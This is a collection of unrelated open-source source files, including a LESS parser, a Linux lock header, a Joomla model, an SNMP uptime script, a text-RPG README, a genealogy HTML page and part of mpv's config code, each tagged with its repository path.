* @param [type] $prop [description]
* @param [type] $pos [description]
*
* @return void
*/
protected function append($prop, $pos = null)
{
if ($pos !== null)
{
$prop[-1] = $pos;
}
$this->env->props[] = $prop;
}
/**
* Pop something off the stack
*
* @return [type] [description]
*/
protected function pop()
{
$old = $this->env;
$this->env = $this->env->parent;
return $old;
}
/**
* Remove comments from $text
*
* @param [type] $text [description]
*
* @todo: make it work for all functions, not just url
*
* @return [type] [description]
*/
protected function removeComments($text)
{
$look = array(
'url(', '//', '/*', '"', "'"
);
$out = '';
$min = null;
while (true)
{
// Find the next item
foreach ($look as $token)
{
$pos = strpos($text, $token);
if ($pos !== false)
{
if (!isset($min) || $pos < $min[1])
{
$min = array($token, $pos);
}
}
}
if (is_null($min))
break;
$count = $min[1];
$skip = 0;
$newlines = 0;
switch ($min[0])
{
case 'url(':
if (preg_match('/url\(.*?\)/', $text, $m, 0, $count))
{
$count += strlen($m[0]) - strlen($min[0]);
}
break;
case '"':
case "'":
if (preg_match('/' . $min[0] . '.*?' . $min[0] . '/', $text, $m, 0, $count))
{
$count += strlen($m[0]) - 1;
}
break;
case '//':
$skip = strpos($text, "\n", $count);
if ($skip === false)
{
$skip = strlen($text) - $count;
}
else
{
$skip -= $count;
}
break;
case '/*':
if (preg_match('/\/\*.*?\*\//s', $text, $m, 0, $count))
{
$skip = strlen($m[0]);
$newlines = substr_count($m[0], "\n");
}
break;
}
if ($skip == 0)
{
$count += strlen($min[0]);
}
$out .= substr($text, 0, $count) . str_repeat("\n", $newlines);
$text = substr($text, $count + $skip);
$min = null;
}
return $out . $text;
}
}
| pabloarias/Joomla3-Base | libraries/fof30/Less/Parser/Parser.php | PHP | gpl-2.0 | 39,937 |
#ifndef _LOCKHELP_H
#define _LOCKHELP_H
#include <generated/autoconf.h>
#include <linux/spinlock.h>
#include <asm/atomic.h>
#include <linux/interrupt.h>
#include <linux/smp.h>
/* Header to do help in lock debugging. */
#if 0 //CONFIG_NETFILTER_DEBUG
struct spinlock_debug
{
spinlock_t l;
atomic_t locked_by;
};
struct rwlock_debug
{
rwlock_t l;
long read_locked_map;
long write_locked_map;
};
#define DECLARE_LOCK(l) \
struct spinlock_debug l = { SPIN_LOCK_UNLOCKED, ATOMIC_INIT(-1) }
#define DECLARE_LOCK_EXTERN(l) \
extern struct spinlock_debug l
#define DECLARE_RWLOCK(l) \
struct rwlock_debug l = { RW_LOCK_UNLOCKED, 0, 0 }
#define DECLARE_RWLOCK_EXTERN(l) \
extern struct rwlock_debug l
#define MUST_BE_LOCKED(l) \
do { if (atomic_read(&(l)->locked_by) != smp_processor_id()) \
printk("ASSERT %s:%u %s unlocked\n", __FILE__, __LINE__, #l); \
} while(0)
#define MUST_BE_UNLOCKED(l) \
do { if (atomic_read(&(l)->locked_by) == smp_processor_id()) \
printk("ASSERT %s:%u %s locked\n", __FILE__, __LINE__, #l); \
} while(0)
/* Write locked OK as well. */
#define MUST_BE_READ_LOCKED(l) \
do { if (!((l)->read_locked_map & (1UL << smp_processor_id())) \
&& !((l)->write_locked_map & (1UL << smp_processor_id()))) \
printk("ASSERT %s:%u %s not readlocked\n", __FILE__, __LINE__, #l); \
} while(0)
#define MUST_BE_WRITE_LOCKED(l) \
do { if (!((l)->write_locked_map & (1UL << smp_processor_id()))) \
printk("ASSERT %s:%u %s not writelocked\n", __FILE__, __LINE__, #l); \
} while(0)
#define MUST_BE_READ_WRITE_UNLOCKED(l) \
do { if ((l)->read_locked_map & (1UL << smp_processor_id())) \
printk("ASSERT %s:%u %s readlocked\n", __FILE__, __LINE__, #l); \
else if ((l)->write_locked_map & (1UL << smp_processor_id())) \
printk("ASSERT %s:%u %s writelocked\n", __FILE__, __LINE__, #l); \
} while(0)
#define LOCK_BH(lk) \
do { \
MUST_BE_UNLOCKED(lk); \
spin_lock_bh(&(lk)->l); \
atomic_set(&(lk)->locked_by, smp_processor_id()); \
} while(0)
#define UNLOCK_BH(lk) \
do { \
MUST_BE_LOCKED(lk); \
atomic_set(&(lk)->locked_by, -1); \
spin_unlock_bh(&(lk)->l); \
} while(0)
#define READ_LOCK(lk) \
do { \
MUST_BE_READ_WRITE_UNLOCKED(lk); \
read_lock_bh(&(lk)->l); \
set_bit(smp_processor_id(), &(lk)->read_locked_map); \
} while(0)
#define WRITE_LOCK(lk) \
do { \
MUST_BE_READ_WRITE_UNLOCKED(lk); \
write_lock_bh(&(lk)->l); \
set_bit(smp_processor_id(), &(lk)->write_locked_map); \
} while(0)
#define READ_UNLOCK(lk) \
do { \
if (!((lk)->read_locked_map & (1UL << smp_processor_id()))) \
printk("ASSERT: %s:%u %s not readlocked\n", \
__FILE__, __LINE__, #lk); \
clear_bit(smp_processor_id(), &(lk)->read_locked_map); \
read_unlock_bh(&(lk)->l); \
} while(0)
#define WRITE_UNLOCK(lk) \
do { \
MUST_BE_WRITE_LOCKED(lk); \
clear_bit(smp_processor_id(), &(lk)->write_locked_map); \
write_unlock_bh(&(lk)->l); \
} while(0)
#else
#define DECLARE_LOCK(l) spinlock_t l = SPIN_LOCK_UNLOCKED
#define DECLARE_LOCK_EXTERN(l) extern spinlock_t l
#define DECLARE_RWLOCK(l) rwlock_t l = RW_LOCK_UNLOCKED
#define DECLARE_RWLOCK_EXTERN(l) extern rwlock_t l
#define MUST_BE_LOCKED(l)
#define MUST_BE_UNLOCKED(l)
#define MUST_BE_READ_LOCKED(l)
#define MUST_BE_WRITE_LOCKED(l)
#define MUST_BE_READ_WRITE_UNLOCKED(l)
#define LOCK_BH(l) spin_lock_bh(l)
#define UNLOCK_BH(l) spin_unlock_bh(l)
#define READ_LOCK(l) read_lock_bh(l)
#define WRITE_LOCK(l) write_lock_bh(l)
#define READ_UNLOCK(l) read_unlock_bh(l)
#define WRITE_UNLOCK(l) write_unlock_bh(l)
#endif /*CONFIG_NETFILTER_DEBUG*/
#endif /* _LOCKHELP_H */
| ndmsystems/linux-2.6.36 | include/linux/netfilter_ipv4/lockhelp.h | C | gpl-2.0 | 5,197 |
namespace Rantory.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class ChemicalType : DbMigration
{
public override void Up()
{
CreateTable(
"dbo.ChemicalTypes",
c => new
{
Id = c.Int(nullable: false, identity: true),
Name = c.String(),
})
.PrimaryKey(t => t.Id);
}
public override void Down()
{
DropTable("dbo.ChemicalTypes");
}
}
}
| NurymKenzh/Rantory | Rantory/Rantory/Migrations/201604220851182_ChemicalType.cs | C# | gpl-2.0 | 621 |
/*
AVFS: A Virtual File System Library
Copyright (C) 1998-2001 Miklos Szeredi <[email protected]>
This program can be distributed under the terms of the GNU GPL.
See the file COPYING.
*/
#include <sys/types.h>
struct child_message {
int reqsize;
int path1size;
int path2size;
};
extern void run(int cfs, const char *codadir, int dm);
extern void child_process(int infd, int outfd);
extern int mount_coda(const char *dev, const char *dir, int devfd, int quiet);
extern int unmount_coda(const char *dir, int quiet);
extern void set_signal_handlers();
extern void clean_exit(int status);
extern void run_exit();
extern void user_child(pid_t pid);
| lb1a/avfs | avfscoda/avfscoda.h | C | gpl-2.0 | 680 |
/*
Theme Name: Carry Gently
Adding support for language written in a Right To Left (RTL) direction is easy -
it's just a matter of overwriting all the horizontal positioning attributes
of your CSS stylesheet in a separate stylesheet file named rtl.css.
http://codex.wordpress.org/Right_to_Left_Language_Support
*/
/*
body {
direction: rtl;
unicode-bidi: embed;
}
*/ | chriskirkley/carry-gently | wp-content/themes/carry_gently/rtl.css | CSS | gpl-2.0 | 371 |
using Windows.UI.Xaml.Navigation;
using Vocabulary;
using Vocabulary.ViewModels;
namespace Vocabulary.Views
{
public sealed partial class HomePage : PageBase
{
public HomePage()
{
this.ViewModel = new MainViewModel(8);
this.InitializeComponent();
}
public MainViewModel ViewModel { get; set; }
protected async override void LoadState(object navParameter)
{
await this.ViewModel.LoadDataAsync();
}
}
}
| mabaer/norwegian | Vocabulary.W10/Views/HomePage.xaml.cs | C# | gpl-2.0 | 520 |
/*
* $Id: x2c.c,v 1.7 2009/06/02 09:40:53 bnv Exp $
* $Log: x2c.c,v $
* Revision 1.7 2009/06/02 09:40:53 bnv
* MVS/CMS corrections
*
* Revision 1.6 2008/07/15 07:40:54 bnv
* #include changed from <> to ""
*
* Revision 1.5 2008/07/14 13:08:16 bnv
* MVS,CMS support
*
* Revision 1.4 2002/06/11 12:37:15 bnv
* Added: CDECL
*
* Revision 1.3 2001/06/25 18:49:48 bnv
* Header changed to Id
*
* Revision 1.2 1999/11/26 12:52:25 bnv
* Changed: To use the new macros
*
* Revision 1.1 1998/07/02 17:20:58 bnv
* Initial Version
*
*/
#include <ctype.h>
#include "lerror.h"
#include "lstring.h"
/* ------------------ Lx2c ------------------ */
void __CDECL
Lx2c( const PLstr to, const PLstr from )
{
int i,j,r;
char *t,*f;
L2STR(from);
Lfx(to,LLEN(*from)/2+1); /* a rough estimation */
t = LSTR(*to); f = LSTR(*from);
for (i=r=0; i<LLEN(*from); ) {
for (; ISSPACE(f[i]) && (i<LLEN(*from)); i++) ;; /*skip spaces*/
for (j=i; ISXDIGIT(f[j]) && (j<LLEN(*from)); j++) ;; /* find hexdigits */
if ((i<LLEN(*from)) && (j==i)) { /* Ooops wrong character */
Lerror(ERR_INVALID_HEX_CONST,0);
LZEROSTR(*to); /* return null when error occures */
return;
}
if ((j-i)&1) {
t[r++] = HEXVAL(f[i]);
i++;
}
for (; i<j; i+=2)
t[r++] = (HEXVAL(f[i])<<4) | HEXVAL(f[i+1]);
}
LTYPE(*to) = LSTRING_TY;
LLEN(*to) = r;
} /* Lx2c */
| vlachoudis/brexx | lstring/x2c.c | C | gpl-2.0 | 1,386 |
#!/usr/bin/perl
use strict;
use warnings;
use Net::SNMP;
my $OID_sysUpTime = '1.3.6.1.2.1.1.3.0';
my ($session, $error) = Net::SNMP->session(
-hostname => shift || '127.0.0.1',
-community => shift || 'public',
);
if (!defined $session) {
printf "ERROR: %s.\n", $error;
exit 1;
}
my $result = $session->get_request(-varbindlist => [ $OID_sysUpTime ],);
if (!defined $result) {
printf "ERROR: %s.\n", $session->error();
$session->close();
exit 1;
}
printf "The sysUpTime for host '%s' is %s.\n",
$session->hostname(), $result->{$OID_sysUpTime};
$session->close();
exit 0;
| cayu/nagios-scripts | perl_snmp_getoid_v1.pl | Perl | gpl-2.0 | 615 |
<?php
/**
* @version 1.0.0
* @package com_somosmaestros
* @copyright Copyright (C) 2015. Todos los derechos reservados.
* @license Licencia Pública General GNU versión 2 o posterior. Consulte LICENSE.txt
* @author Daniel Gustavo Álvarez Gaitán <[email protected]> - http://danielalvarez.com.co
*/
defined('_JEXEC') or die;
jimport('joomla.application.component.modellist');
/**
* Methods supporting a list of Somosmaestros records.
*/
class SomosmaestrosModelFormacions extends JModelList
{
/**
* Constructor.
*
* @param array An optional associative array of configuration settings.
*
* @see JController
* @since 1.6
*/
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'id', 'a.id',
'ordering', 'a.ordering',
'state', 'a.state',
'created_by', 'a.created_by',
'titulo', 'a.titulo',
'contenido', 'a.contenido',
'imagen_grande', 'a.imagen_grande',
'imagen_pequena', 'a.imagen_pequena',
'destacado', 'a.destacado',
'delegacion', 'a.delegacion',
'tipo_institucion', 'a.tipo_institucion',
'segmento', 'a.segmento',
'nivel', 'a.nivel',
'ciudad', 'a.ciudad',
'area', 'a.area',
'rol', 'a.rol',
'proyecto', 'a.proyecto',
'publico', 'a.publico',
'asistentes', 'a.asistentes',
'disponibilidad', 'a.disponibilidad',
'fuente', 'a.fuente',
'preview', 'a.preview',
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @since 1.6
*/
protected function populateState($ordering = null, $direction = null)
{
// Initialise variables.
$app = JFactory::getApplication();
// List state information
$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'));
$this->setState('list.limit', $limit);
$limitstart = $app->input->getInt('limitstart', 0);
$this->setState('list.start', $limitstart);
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
case 'ordering':
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
}
break;
case 'direction':
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
}
break;
case 'limit':
$limit = $value;
break;
// Just to keep the default case
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
// Receive & set filters
if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
{
foreach ($filters as $name => $value)
{
$this->setState('filter.' . $name, $value);
}
}
$ordering = $app->input->get('filter_order');
if (!empty($ordering))
{
$list = $app->getUserState($this->context . '.list');
$list['ordering'] = $app->input->get('filter_order');
$app->setUserState($this->context . '.list', $list);
}
$orderingDirection = $app->input->get('filter_order_Dir');
if (!empty($orderingDirection))
{
$list = $app->getUserState($this->context . '.list');
$list['direction'] = $app->input->get('filter_order_Dir');
$app->setUserState($this->context . '.list', $list);
}
$list = $app->getUserState($this->context . '.list');
if (empty($list['ordering']))
{
$list['ordering'] = 'ordering';
}
if (empty($list['direction']))
{
$list['direction'] = 'asc';
}
$this->setState('list.ordering', $list['ordering']);
$this->setState('list.direction', $list['direction']);
}
/**
* Build an SQL query to load the list data.
*
* @return JDatabaseQuery
* @since 1.6
*/
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query
->select(
$this->getState(
'list.select', 'DISTINCT a.*'
)
);
$query->from('`#__somosmaestros_formacion` AS a');
// Join over the users for the checked out user.
$query->select('uc.name AS editor');
$query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');
// Join over the created by field 'created_by'
$query->join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');
if (!JFactory::getUser()->authorise('core.edit.state', 'com_somosmaestros'))
{
$query->where('a.state = 1');
}
// Filter by search in title
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->Quote('%' . $db->escape($search, true) . '%');
$query->where('( a.titulo LIKE '.$search.' OR a.delegacion LIKE '.$search.' OR a.tipo_institucion LIKE '.$search.' OR a.segmento LIKE '.$search.' OR a.nivel LIKE '.$search.' OR a.ciudad LIKE '.$search.' OR a.area LIKE '.$search.' OR a.rol LIKE '.$search.' OR a.proyecto LIKE '.$search.' )');
}
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
if ($orderCol && $orderDirn)
{
$query->order($db->escape($orderCol . ' ' . $orderDirn));
}
return $query;
}
public function getItems()
{
$items = parent::getItems();
return $items;
}
/**
* Overrides the default function to check Date fields format, identified by
* "_dateformat" suffix, and erases the field if it's not correct.
*/
protected function loadFormData()
{
$app = JFactory::getApplication();
$filters = $app->getUserState($this->context . '.filter', array());
$error_dateformat = false;
foreach ($filters as $key => $value)
{
if (strpos($key, '_dateformat') && !empty($value) && !$this->isValidDate($value))
{
$filters[$key] = '';
$error_dateformat = true;
}
}
if ($error_dateformat)
{
$app->enqueueMessage(JText::_("COM_SOMOSMAESTROS_SEARCH_FILTER_DATE_FORMAT"), "warning");
$app->setUserState($this->context . '.filter', $filters);
}
return parent::loadFormData();
}
/**
* Checks if a given date is valid and in an specified format (YYYY-MM-DD)
*
* @param string Contains the date to be checked
*
*/
private function isValidDate($date)
{
return preg_match("/^(19|20)\d\d[-](0[1-9]|1[012])[-](0[1-9]|[12][0-9]|3[01])$/", $date) && date_create($date);
}
}
| emeraldstudio/somosmaestros | components/com_somosmaestros/models/formacions.php | PHP | gpl-2.0 | 7,857 |
```javascript
_____ _ _ _ ____ ____ ____
|_ _|__ _ __(_) __| (_)_ _ _ __ ___ | _ \| _ \ / ___|
| |/ _ \ '__| |/ _` | | | | | '_ ` _ \ | |_) | |_) | | _
| | __/ | | | (_| | | |_| | | | | | | | _ <| __/| |_| |
|_|\___|_| |_|\__,_|_|\__,_|_| |_| |_| |_| \_\_| \____|
^ \ / ^
/ \ \\__// / \
/ \ ('\ /') / \
_________________/_____\__\@ @/___/_____\________________
| ¦\,,/¦ |
| \VV/ |
| An Oldschool text RPG |
| Have fun and feel free to help |
| Developed by Tehral |
|__________________________________________________________|
| ./\/\ / \ /\/\. |
|/ V V \|
" "
```
SOON translated to english...
Einleitung
Da ich ziemlich neu in der Programmierung bin, habe ich mit einem Textbasiertem RPG mit dem Namen Teridium War angefangen.
Das Spiel selbst verfügt über keine Story, hat jedoch meiner Meinung nach alle benötigte Sachen um als RPG deklariert werden zu dürfen.
Über das Spiel
Generell
Name: Teridium War
Typ: Konsolenanwendung
Sprache: Englisch
Der Charakter
Der Charakter besitzt folgende Eigenschaften:
- Leben (HP)
- Mana (MP)
- Waffe
- Waffengrundschaden
- Waffenzusatzschaden (Würfel6)
- Attackewert (1-20)
- Verteidigungswert (1-20)
- Rüstungswert
- Rüstungsteile
- Level
- Gold
- EXP
Die Gegner
Jeder Gegner besitzt verschiedene Werte für folgende Attribute:
- Name
- Leben (HP)
- Mana (MP)
- Attacke (1-20)
- Verteidigung (1-20)
- EXP Reward
- Gold Reward
- ASCII Bild
Funktionen
- Kampf gegen Random Monster (27 verschiedene)
- Rundenbasiert
- Mit Waffe
- Zauber
- 3 DMG & 1 Heal
- Tränke
- Mana (MP)
- Leben (HP)
- Gold Reward
- EXP Reward
- Levelanstieg -> Attacke und oder Verteidigung wird erhöht.
- Shop um einzukaufen
- Waffen
- 3 Kategorien
- Rüstungsteile
- 5 Kategorien
- Tränke
- Leben (HP)
- Mana (MP)
- Taverne
- Essen & Trinken -> HP/MP auffüllen
- Rasten -> HP/MP auffüllen
- Charakter Status anzeigen
- Name
- HP
- MP
- Attacke
- Verteidigung
- Spiel speichern
- Alle Charakter Werte anhand Namen
- Mehrere Spielstände möglich
- Spiel laden
- Alle Charakter Werte anhand Namen
- Mehrere Spielstände möglich
- Einleitungstutorial
- Kampfinstruktionen
Das Spielsystem
Das Spiel läuft folgender Massen ab:
1.Spieler muss Auswahl treffen
Open Player Stats
- Status anzeigen
Visit the Shop
- Shop öffnen
- Kategorie aussuchen
- Unterkategorie aussuchen
- Gegenstand kaufen
Go to the Tavern
- Rest -> Restore HP & MP
- Trinken -> Restore HP & MP
Fight against a Monster
Save Game
Exit the Game
Wenn abgeschlossen zurück zu 1.
Das Kampfsystem
Das Kampfsystem ist relativ simpel sobald man den dreh raus hat:
Runde I
Spieler greift zuerst an
```javascript
-> Attacke
-> Würfel 20 werfen
-> Wenn Wert <= Angriffswert dann erfolg
-> Gegner Würfel 20 auf Verteidigung
-> Wenn <= Verteidigungswert Gegner dann Erfolg
-> Wenn > Verteidigungswert Gegner kann nicht parieren
-> Spieler wirft die Anzahl Würfel 6 für seine Waffe
-> Schaden = Alle Ergebnisse Würfel 6 + Grundschaden der Waffe
-> Wenn Wert > Angriffswert dann Misserfolg
-> Zauber
-> Auswahl
-> Mana >= Zauberkosten
-> Gegner verliert Zauberdmg
-> Tränke
-> Auswahl
-> Attribute anpassen
Gegner attackiert
-> Attacke
-> Würfel 20 wird im Hintergrund geworfen
-> Wenn Wert <= Angriffswert dann Erfolg
-> Spieler Würfel 20 auf Verteidigung
-> Wenn <= Verteidigungswert Spieler dann Erfolg
-> Wenn > Verteidigungswert Spieler kann nicht parieren
-> Schaden = DMG Monsterwaffe - Rüstungswert des Helden
-> Wenn Wert > Angriffswert dann Misserfolg
-> Zauber (sofern Magisch begabt)
-> Random Zauber
-> Mana >= Zauberkosten
-> Gegner verliert Zauberdmg
Runde II
.
.
.
```
| Tehral/TeridiumWar | README.md | Markdown | gpl-2.0 | 4,482 |
<!DOCTYPE html>
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<head lang="en-US">
<title>My Family Tree - Douglas, Frederick</title>
<meta charset="UTF-8" />
<meta name ="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1" />
<meta name ="apple-mobile-web-app-capable" content="yes" />
<meta name="generator" content="Gramps 4.2.2 http://gramps-project.org/" />
<meta name="author" content="" />
<link href="../../../images/favicon2.ico" rel="shortcut icon" type="image/x-icon" />
<link href="../../../css/narrative-screen.css" media="screen" rel="stylesheet" type="text/css" />
<link href="../../../css/narrative-print.css" media="print" rel="stylesheet" type="text/css" />
<link href="../../../css/ancestortree.css" media="screen" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="header">
<h1 id="SiteTitle">My Family Tree</h1>
</div>
<div class="wrapper" id="nav" role="navigation">
<div class="container">
<ul class="menu" id="dropmenu">
<li class = "CurrentSection"><a href="../../../individuals.html" title="Individuals">Individuals</a></li>
<li><a href="../../../index.html" title="Surnames">Surnames</a></li>
<li><a href="../../../places.html" title="Places">Places</a></li>
<li><a href="../../../sources.html" title="Sources">Sources</a></li>
<li><a href="../../../media.html" title="Media">Media</a></li>
<li><a href="../../../thumbnails.html" title="Thumbnails">Thumbnails</a></li>
</ul>
</div>
</div>
<div class="content" id="IndividualDetail">
<h3>Douglas, Frederick<sup><small> <a href="#sref1">1</a></small></sup></h3>
<div id="summaryarea">
<table class="infolist">
<tr>
<td class="ColumnAttribute">Birth Name</td>
<td class="ColumnValue">
Douglas, Frederick
</td>
</tr>
<tr>
<td class="ColumnAttribute">Gramps ID</td>
<td class="ColumnValue">I0996</td>
</tr>
<tr>
<td class="ColumnAttribute">Gender</td>
<td class="ColumnValue">male</td>
</tr>
</table>
</div>
<div class="subsection" id="events">
<h4>Events</h4>
<table class="infolist eventlist">
<thead>
<tr>
<th class="ColumnEvent">Event</th>
<th class="ColumnDate">Date</th>
<th class="ColumnPlace">Place</th>
<th class="ColumnDescription">Description</th>
<th class="ColumnNotes">Notes</th>
<th class="ColumnSources">Sources</th>
</tr>
</thead>
<tbody>
<tr>
<td class="ColumnEvent">
Death
</td>
<td class="ColumnDate"> </td>
<td class="ColumnPlace">
<a href="../../../plc/5/c/9PDKQCPTOZZWMPSPC5.html" title="Dover, Kent, DE, USA">
Dover, Kent, DE, USA
</a>
</td>
<td class="ColumnDescription">
Death of Douglas, Frederick
</td>
<td class="ColumnNotes">
<div>
</div>
</td>
<td class="ColumnSources">
</td>
</tr>
</tbody>
</table>
</div>
<div class="subsection" id="families">
<h4>Families</h4>
<table class="infolist">
<tr class="BeginFamily">
<td class="ColumnType"> </td>
<td class="ColumnAttribute"> </td>
<td class="ColumnValue"><a href="" title="Family of Douglas, Frederick and Stanley, Barbara">Family of Douglas, Frederick and Stanley, Barbara<span class="grampsid"> [F0319]</span></a></td>
</tr>
<tr class="BeginFamily">
<td class="ColumnType">Married</td>
<td class="ColumnAttribute">Wife</td>
<td class="ColumnValue">
<a href="../../../ppl/i/3/OPDKQC8T84H79IVZ3I.html">Stanley, Barbara<span class="grampsid"> [I0997]</span></a>
</td>
</tr>
<tr>
<td class="ColumnType"> </td>
<td class="ColumnAttribute"> </td>
<td class="ColumnValue">
<table class="infolist eventlist">
<thead>
<tr>
<th class="ColumnEvent">Event</th>
<th class="ColumnDate">Date</th>
<th class="ColumnPlace">Place</th>
<th class="ColumnDescription">Description</th>
<th class="ColumnNotes">Notes</th>
<th class="ColumnSources">Sources</th>
</tr>
</thead>
<tbody>
<tr>
<td class="ColumnEvent">
Marriage
</td>
<td class="ColumnDate"> </td>
<td class="ColumnPlace"> </td>
<td class="ColumnDescription">
Marriage of Douglas, Frederick and Stanley, Barbara
</td>
<td class="ColumnNotes">
<div>
</div>
</td>
<td class="ColumnSources">
</td>
</tr>
</tbody>
</table>
</td>
<tr>
<td class="ColumnType"> </td>
<td class="ColumnAttribute">Children</td>
<td class="ColumnValue">
<ol>
<li>
<a href="../../../ppl/n/z/WVBKQC4M0WSS7YOMZN.html">Douglas, Mary“Polly”<span class="grampsid"> [I0921]</span></a>
</li>
</ol>
</td>
</tr>
</tr>
</table>
</div>
<div class="subsection" id="pedigree">
<h4>Pedigree</h4>
<ol class="pedigreegen">
<li>
<ol>
<li class="thisperson">
Douglas, Frederick
<ol class="spouselist">
<li class="spouse">
<a href="../../../ppl/i/3/OPDKQC8T84H79IVZ3I.html">Stanley, Barbara<span class="grampsid"> [I0997]</span></a>
<ol>
<li>
<a href="../../../ppl/n/z/WVBKQC4M0WSS7YOMZN.html">Douglas, Mary“Polly”<span class="grampsid"> [I0921]</span></a>
</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
</ol>
</div>
<div class="subsection" id="sourcerefs">
<h4>Source References</h4>
<ol>
<li>
<a href="../../../src/x/a/X5TJQC9JXU4RKT6VAX.html" title="Import from test2.ged" name ="sref1">
Import from test2.ged
<span class="grampsid"> [S0003]</span>
</a>
</li>
</ol>
</div>
</div>
<div class="fullclear"></div>
<div id="footer">
<p id="createdate">
Generated by <a href="http://gramps-project.org/">Gramps</a> 4.2.2 on 2015-12-25<br />Last change was the 2007-07-26 08:34:25
</p>
<p id="copyright">
</p>
</div>
</body>
</html>
| belissent/testing-example-reports | gramps42/gramps/example_NAVWEB0/ppl/8/4/XODKQCEZISUYEE5J48.html | HTML | gpl-2.0 | 6,289 |
/*
* This file is part of mpv.
*
* mpv is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* mpv is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with mpv. If not, see <http://www.gnu.org/licenses/>.
*/
/// \file
/// \ingroup Config
#include "config.h"
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
#include <assert.h>
#include <stdbool.h>
#include "libmpv/client.h"
#include "mpv_talloc.h"
#include "m_config.h"
#include "options/m_option.h"
#include "common/msg.h"
#include "common/msg_control.h"
static const union m_option_value default_value;
// Profiles allow to predefine some sets of options that can then
// be applied later on with the internal -profile option.
#define MAX_PROFILE_DEPTH 20
// Maximal include depth.
#define MAX_RECURSION_DEPTH 8
struct m_profile {
struct m_profile *next;
char *name;
char *desc;
int num_opts;
// Option/value pair array.
char **opts;
};
// In the file local case, this contains the old global value.
struct m_opt_backup {
struct m_opt_backup *next;
struct m_config_option *co;
void *backup;
};
static int parse_include(struct m_config *config, struct bstr param, bool set,
int flags)
{
if (param.len == 0)
return M_OPT_MISSING_PARAM;
if (!set)
return 1;
if (config->recursion_depth >= MAX_RECURSION_DEPTH) {
MP_ERR(config, "Maximum 'include' nesting depth exceeded.\n");
return M_OPT_INVALID;
}
char *filename = bstrdup0(NULL, param);
config->recursion_depth += 1;
config->includefunc(config->includefunc_ctx, filename, flags);
config->recursion_depth -= 1;
talloc_free(filename);
return 1;
}
static int parse_profile(struct m_config *config, const struct m_option *opt,
struct bstr name, struct bstr param, bool set, int flags)
{
if (!bstrcmp0(param, "help")) {
struct m_profile *p;
if (!config->profiles) {
MP_INFO(config, "No profiles have been defined.\n");
return M_OPT_EXIT - 1;
}
MP_INFO(config, "Available profiles:\n");
for (p = config->profiles; p; p = p->next)
MP_INFO(config, "\t%s\t%s\n", p->name, p->desc ? p->desc : "");
MP_INFO(config, "\n");
return M_OPT_EXIT - 1;
}
char **list = NULL;
int r = m_option_type_string_list.parse(config->log, opt, name, param, &list);
if (r < 0)
return r;
if (!list || !list[0])
return M_OPT_INVALID;
for (int i = 0; list[i]; i++) {
if (set)
r = m_config_set_profile(config, list[i], flags);
if (r < 0)
break;
}
m_option_free(opt, &list);
return r;
}
static int show_profile(struct m_config *config, bstr param)
{
struct m_profile *p;
if (!param.len)
return M_OPT_MISSING_PARAM;
if (!(p = m_config_get_profile(config, param))) {
MP_ERR(config, "Unknown profile '%.*s'.\n", BSTR_P(param));
return M_OPT_EXIT - 1;
}
if (!config->profile_depth)
MP_INFO(config, "Profile %s: %s\n", p->name,
p->desc ? p->desc : "");
config->profile_depth++;
for (int i = 0; i < p->num_opts; i++) {
MP_INFO(config, "%*s%s=%s\n", config->profile_depth, "",
p->opts[2 * i], p->opts[2 * i + 1]);
if (config->profile_depth < MAX_PROFILE_DEPTH
&& !strcmp(p->opts[2*i], "profile")) {
char *e, *list = p->opts[2 * i + 1];
while ((e = strchr(list, ','))) {
int l = e - list;
if (!l)
continue;
show_profile(config, (bstr){list, e - list});
list = e + 1;
}
if (list[0] != '\0')
show_profile(config, bstr0(list));
}
}
config->profile_depth--;
if (!config->profile_depth)
MP_INFO(config, "\n");
return M_OPT_EXIT - 1;
}
static int list_options(struct m_config *config)
{
m_config_print_option_list(config);
return M_OPT_EXIT;
}
// The memcpys are supposed to work around the strict aliasing violation,
// that would result if we just dereferenced a void** (where the void** is
// actually casted from struct some_type* ). The dummy struct type is in
// theory needed, because void* and struct pointers could have different
// representations, while pointers to different struct types don't.
static void *substruct_read_ptr(const void *ptr)
{
struct mp_dummy_ *res;
memcpy(&res, ptr, sizeof(res));
return res;
}
static void substruct_write_ptr(void *ptr, void *val)
{
